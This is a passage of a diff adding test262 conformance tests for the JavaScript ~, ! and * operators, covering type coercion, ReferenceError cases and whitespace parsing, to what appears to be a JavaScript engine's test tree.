+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.2_T1.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x uses [[Default Value]]
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if (~object !== -2) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; ~object === -2. Actual: ' + (~object));
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (~object !== -2) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; ~object === -2. Actual: ' + (~object));
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if (~object !== -2) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; ~object === -2. Actual: ' + (~object));
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ if (~object !== -2) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ~object === -2. Actual: ' + (~object));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ~object not throw "error"');
+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ~object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if (~object !== -2) {
+ $ERROR('#5: var object = {toString: function() {return 1}}; ~object === -2. Actual: ' + (~object));
+}
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if (~object !== -2) {
+ $ERROR('#6: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; ~object === -2. Actual: ' + (~object));
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ ~object;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; ~object throw "error". Actual: ' + (~object));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; ~object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ ~object;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; ~object throw TypeError. Actual: ' + (~object));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; ~object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T1.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T1.js
new file mode 100644
index 000000000..0958a0570
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x returns ~ToInt32(x)
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+if (~false !== -1) {
+ $ERROR('#1: ~false === -1. Actual: ' + (~false));
+}
+
+//CHECK#2
+if (~new Boolean(true) !== -2) {
+ $ERROR('#2: ~new Boolean(true) === -2. Actual: ' + (~new Boolean(true)));
+}
+
+//CHECK#3
+if (~new Boolean(false) !== -1) {
+ $ERROR('#3: ~new Boolean(false) === -1. Actual: ' + (~new Boolean(false)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T2.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T2.js
new file mode 100644
index 000000000..a7b6d4bbc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x returns ~ToInt32(x)
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+if (~0.1 !== -1) {
+ $ERROR('#1: ~0.1 === -1. Actual: ' + (~0.1));
+}
+
+//CHECK#2
+if (~new Number(-0.1) !== -1) {
+ $ERROR('#2: ~new Number(-0.1) === -1. Actual: ' + (~new Number(-0.1)));
+}
+
+//CHECK#3
+if (~NaN !== -1) {
+ $ERROR('#3: ~NaN === -1. Actual: ' + (~NaN));
+}
+
+//CHECK#4
+if (~new Number(NaN) !== -1) {
+ $ERROR('#4: ~new Number(NaN) === -1. Actual: ' + (~new Number(NaN)));
+}
+
+//CHECK#5
+if (~1 !== -2) {
+ $ERROR('#5: ~1 === -2. Actual: ' + (~1));
+}
+
+//CHECK#6
+if (~new Number(-2) !== 1) {
+ $ERROR('#6: ~new Number(-2) === 1. Actual: ' + (~new Number(-2)));
+}
+
+//CHECK#7
+if (~Infinity !== -1) {
+ $ERROR('#7: ~Infinity === -1. Actual: ' + (~Infinity));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T3.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T3.js
new file mode 100644
index 000000000..ec54ebd48
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T3.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x returns ~ToInt32(x)
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A3_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+if (~"1" !== -2) {
+ $ERROR('#1: ~"1" === -2. Actual: ' + (~"1"));
+}
+
+//CHECK#2
+if (~new String("0") !== -1) {
+ $ERROR('#2: ~new String("0") === -1. Actual: ' + (~new String("0")));
+}
+
+//CHECK#3
+if (~"x" !== -1) {
+ $ERROR('#3: ~"x" === -1. Actual: ' + (~"x"));
+}
+
+//CHECK#4
+if (~"" !== -1) {
+ $ERROR('#4: ~"" === -1. Actual: ' + (~""));
+}
+
+//CHECK#5
+if (~new String("-2") !== 1) {
+ $ERROR('#5: ~new String("-2") === 1. Actual: ' + (~new String("-2")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T4.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T4.js
new file mode 100644
index 000000000..d8be652d4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x returns ~ToInt32(x)
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+if (~void 0 !== -1) {
+ $ERROR('#1: ~void 0 === -1. Actual: ' + (~void 0));
+}
+
+//CHECK#2
+if (~null !== -1) {
+ $ERROR('#2: ~null === -1. Actual: ' + (~null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T5.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T5.js
new file mode 100644
index 000000000..8fcfc740b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A3_T5.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x returns ~ToInt32(x)
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+if (~({}) !== -1) {
+ $ERROR('#1: ~({}) === -1. Actual: ' + (~({})));
+}
+
+//CHECK#2
+if (~(function(){return 1}) !== -1) {
+ $ERROR('#2: ~(function(){return 1}) === -1. Actual: ' + (~(function(){return 1})));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/browser.js b/js/src/tests/test262/ch11/11.4/11.4.8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/shell.js b/js/src/tests/test262/ch11/11.4/11.4.8/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A1.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A1.js
new file mode 100644
index 000000000..e4c26d0a1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "!" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("!\u0009true") !== false) {
+ $ERROR('#true: !\\u0009true === false');
+}
+
+//CHECK#2
+if (eval("!\u000Btrue") !== false) {
+ $ERROR('#2: !\\u000Btrue === false');
+}
+
+//CHECK#3
+if (eval("!\u000Ctrue") !== false) {
+ $ERROR('#3: !\\u000Ctrue === false');
+}
+
+//CHECK#4
+if (eval("!\u0020true") !== false) {
+ $ERROR('#4: !\\u0020 === false');
+}
+
+//CHECK#5
+if (eval("!\u00A0true") !== false) {
+ $ERROR('#5: !\\u00A0true === false');
+}
+
+//CHECK#6
+if (eval("!\u000Atrue") !== false) {
+ $ERROR('#6: !\\u000Atrue === false');
+}
+
+//CHECK#7
+if (eval("!\u000Dtrue") !== false) {
+ $ERROR('#7: !\\u000Dtrue === false');
+}
+
+//CHECK#8
+if (eval("!\u2028true") !== false) {
+ $ERROR('#8: !\\u2028true === false');
+}
+
+//CHECK#9
+if (eval("!\u2029true") !== false) {
+ $ERROR('#9: !\\u2029true === false');
+}
+
+//CHECK#10
+if (eval("!\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029true") !== false) {
+ $ERROR('#10: !\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029true === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.1_T1.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.1_T1.js
new file mode 100644
index 000000000..d08fdd181
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.1_T1.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x uses GetValue
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A2.1_T1.js
+ * @description Either Type(x) is not Reference or GetBase(x) is not null
+ */
+
+//CHECK#1
+if (!true !== false) {
+ $ERROR('#1: !true === false');
+}
+
+//CHECK#2
+if (!(!true) !== true) {
+ $ERROR('#2: !(!true) === true');
+}
+
+//CHECK#3
+var x = true;
+if (!x !== false) {
+ $ERROR('#3: var x = true; !x === false');
+}
+
+//CHECK#4
+var x = true;
+if (!(!x) !== true) {
+ $ERROR('#4: var x = true; !(!x) === true');
+}
+
+//CHECK#5
+var object = new Object();
+object.prop = true;
+if (!object.prop !== false) {
+ $ERROR('#5: var object = new Object(); object.prop = true; !object.prop === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.1_T2.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.1_T2.js
new file mode 100644
index 000000000..b6592471d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x uses GetValue
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ !x;
+ $ERROR('#1.1: !x throw ReferenceError. Actual: ' + (!x));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: !x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.2_T1.js
new file mode 100644
index 000000000..3f156e9d4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A2.2_T1.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x uses [[Default Value]]
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A2.2_T1.js
+ * @description If Type(value) is Object, return false
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if (!object !== false) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; !object === false. Actual: ' + (!object));
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (!object !== false) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; !object === false. Actual: ' + (!object));
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if (!object !== false) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; !object === false. Actual: ' + (!object));
+}
+
+//CHECK#4
+var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+if (!object !== false) {
+ $ERROR('#4: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; !object === false. Actual: ' + (!object));
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if (!object !== false) {
+ $ERROR('#5: var object = {toString: function() {return 1}}; !object === false. Actual: ' + (!object));
+}
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if (!object !== false) {
+ $ERROR('#6: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; !object === false. Actual: ' + (!object));
+}
+
+//CHECK#7
+var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+if (!object !== false) {
+ $ERROR('#7: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; !object === false. Actual: ' + (!object));
+}
+
+//CHECK#8
+var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+if (!object !== false) {
+ $ERROR('#8: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; !object === false. Actual: ' + (!object));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T1.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T1.js
new file mode 100644
index 000000000..05a4ebcc7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x returns !ToBoolean(x)
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+if (!false !== true) {
+ $ERROR('#1: !false === true');
+}
+
+//CHECK#2
+if (!new Boolean(true) !== false) {
+ $ERROR('#2: !new Boolean(true) === false');
+}
+
+//CHECK#3
+if (!new Boolean(false) !== false) {
+ $ERROR('#3: !new Boolean(false) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T2.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T2.js
new file mode 100644
index 000000000..a2e13b0c0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x returns !ToBoolean(x)
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+if (!0.1 !== false) {
+ $ERROR('#1: !0.1 === false');
+}
+
+//CHECK#2
+if (!new Number(-0.1) !== false) {
+ $ERROR('#2: !new Number(-0.1) === false');
+}
+
+//CHECK#3
+if (!NaN !== true) {
+ $ERROR('#3: !NaN === true');
+}
+
+//CHECK#4
+if (!new Number(NaN) !== false) {
+ $ERROR('#4: !new Number(NaN) === false');
+}
+
+//CHECK#5
+if (!0 !== true) {
+ $ERROR('#5: !0 === true');
+}
+
+//CHECK#6
+if (!new Number(0) !== false) {
+ $ERROR('#6: !new Number(0) === false');
+}
+
+//CHECK#7
+if (!Infinity !== false) {
+ $ERROR('#7: !Infinity === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T3.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T3.js
new file mode 100644
index 000000000..a15994ddc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T3.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x returns !ToBoolean(x)
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A3_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+if (!"1" !== false) {
+ $ERROR('#1: !"1" === false');
+}
+
+//CHECK#2
+if (!new String("0") !== false) {
+ $ERROR('#2: !new String("0") === false');
+}
+
+//CHECK#3
+if (!"x" !== false) {
+ $ERROR('#3: !"x" === false');
+}
+
+//CHECK#4
+if (!"" !== true) {
+ $ERROR('#4: !"" === true');
+}
+
+//CHECK#5
+if (!new String("") !== false) {
+ $ERROR('#5: !new String("") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T4.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T4.js
new file mode 100644
index 000000000..0ac35bb98
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x returns !ToBoolean(x)
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+if (!void 0 !== true) {
+ $ERROR('#1: !void 0 === true');
+}
+
+//CHECK#2
+if (!null !== true) {
+ $ERROR('#2: !null === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T5.js b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T5.js
new file mode 100644
index 000000000..88f6dcaec
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/S11.4.9_A3_T5.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator !x returns !ToBoolean(x)
+ *
+ * @path ch11/11.4/11.4.9/S11.4.9_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+if ((!{}) !== false) {
+ $ERROR('#1: !({}) === false');
+}
+
+//CHECK#2
+if (!(function(){return 1}) !== false) {
+ $ERROR('#2: !(function(){return 1}) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/browser.js b/js/src/tests/test262/ch11/11.4/11.4.9/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.9/shell.js b/js/src/tests/test262/ch11/11.4/11.4.9/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.9/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/browser.js b/js/src/tests/test262/ch11/11.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/shell.js b/js/src/tests/test262/ch11/11.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/shell.js
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A1.js
new file mode 100644
index 000000000..1a9876c01
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between MultiplicativeExpression and "*" or between "*" and UnaryExpression are allowed
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009*\u00091") !== 1) {
+ $ERROR('#1: 1\\u0009*\\u00091 === 1');
+}
+
+//CHECK#2
+if (eval("1\u000B*\u000B1") !== 1) {
+ $ERROR('#2: 1\\u000B*\\u000B1 === 1');
+}
+
+//CHECK#3
+if (eval("1\u000C*\u000C1") !== 1) {
+ $ERROR('#3: 1\\u000C*\\u000C1 === 1');
+}
+
+//CHECK#4
+if (eval("1\u0020*\u00201") !== 1) {
+ $ERROR('#4: 1\\u0020*\\u00201 === 1');
+}
+
+//CHECK#5
+if (eval("1\u00A0*\u00A01") !== 1) {
+ $ERROR('#5: 1\\u00A0*\\u00A01 === 1');
+}
+
+//CHECK#6
+if (eval("1\u000A*\u000A1") !== 1) {
+ $ERROR('#6: 1\\u000A*\\u000A1 === 1');
+}
+
+//CHECK#7
+if (eval("1\u000D*\u000D1") !== 1) {
+ $ERROR('#7: 1\\u000D*\\u000D1 === 1');
+}
+
+//CHECK#8
+if (eval("1\u2028*\u20281") !== 1) {
+ $ERROR('#8: 1\\u2028*\\u20281 === 1');
+}
+
+//CHECK#9
+if (eval("1\u2029*\u20291") !== 1) {
+ $ERROR('#9: 1\\u2029*\\u20291 === 1');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029*\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 1) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029*\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T1.js
new file mode 100644
index 000000000..ed649ace5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y uses GetValue
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 * 1 !== 1) {
+ $ERROR('#1: 1 * 1 === 1. Actual: ' + (1 * 1));
+}
+
+//CHECK#2
+var x = 1;
+if (x * 1 !== 1) {
+ $ERROR('#2: var x = 1; x * 1 === 1. Actual: ' + (x * 1));
+}
+
+//CHECK#3
+var y = 1;
+if (1 * y !== 1) {
+ $ERROR('#3: var y = 1; 1 * y === 1. Actual: ' + (1 * y));
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (x * y !== 1) {
+ $ERROR('#4: var x = 1; var y = 1; x * y === 1. Actual: ' + (x * y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (objectx.prop * objecty.prop !== 1) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop * objecty.prop === 1. Actual: ' + (objectx.prop * objecty.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T2.js
new file mode 100644
index 000000000..e1f16da9d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y uses GetValue
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x * 1;
+ $ERROR('#1.1: x * 1 throw ReferenceError. Actual: ' + (x * 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x * 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T3.js
new file mode 100644
index 000000000..22af7df20
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y uses GetValue
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 * y;
+ $ERROR('#1.1: 1 * y throw ReferenceError. Actual: ' + (1 * y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 * y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.2_T1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.2_T1.js
new file mode 100644
index 000000000..932acabb2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y uses [[Default Value]]
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 1}} * 1 !== 1) {
+ $ERROR('#1: {valueOf: function() {return 1}} * 1 === 1. Actual: ' + ({valueOf: function() {return 1}} * 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 1}, toString: function() {return 0}} * 1 !== 1) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} * 1 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} * 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 1}, toString: function() {return {}}} * 1 !== 1) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} * 1 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} * 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 1}, toString: function() {throw "error"}} * 1 !== 1) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} * 1 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} * 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 1}, toString: function() {throw "error"}} * 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 1}, toString: function() {throw "error"}} * 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 * {toString: function() {return 1}} !== 1) {
+ $ERROR('#5: 1 * {toString: function() {return 1}} === 1. Actual: ' + (1 * {toString: function() {return 1}}));
+}
+
+//CHECK#6
+if (1 * {valueOf: function() {return {}}, toString: function() {return 1}} !== 1) {
+ $ERROR('#6: 1 * {valueOf: function() {return {}}, toString: function() {return 1}} === 1. Actual: ' + (1 * {valueOf: function() {return {}}, toString: function() {return 1}}));
+}
+
+//CHECK#7
+try {
+ 1 * {valueOf: function() {throw "error"}, toString: function() {return 1}};
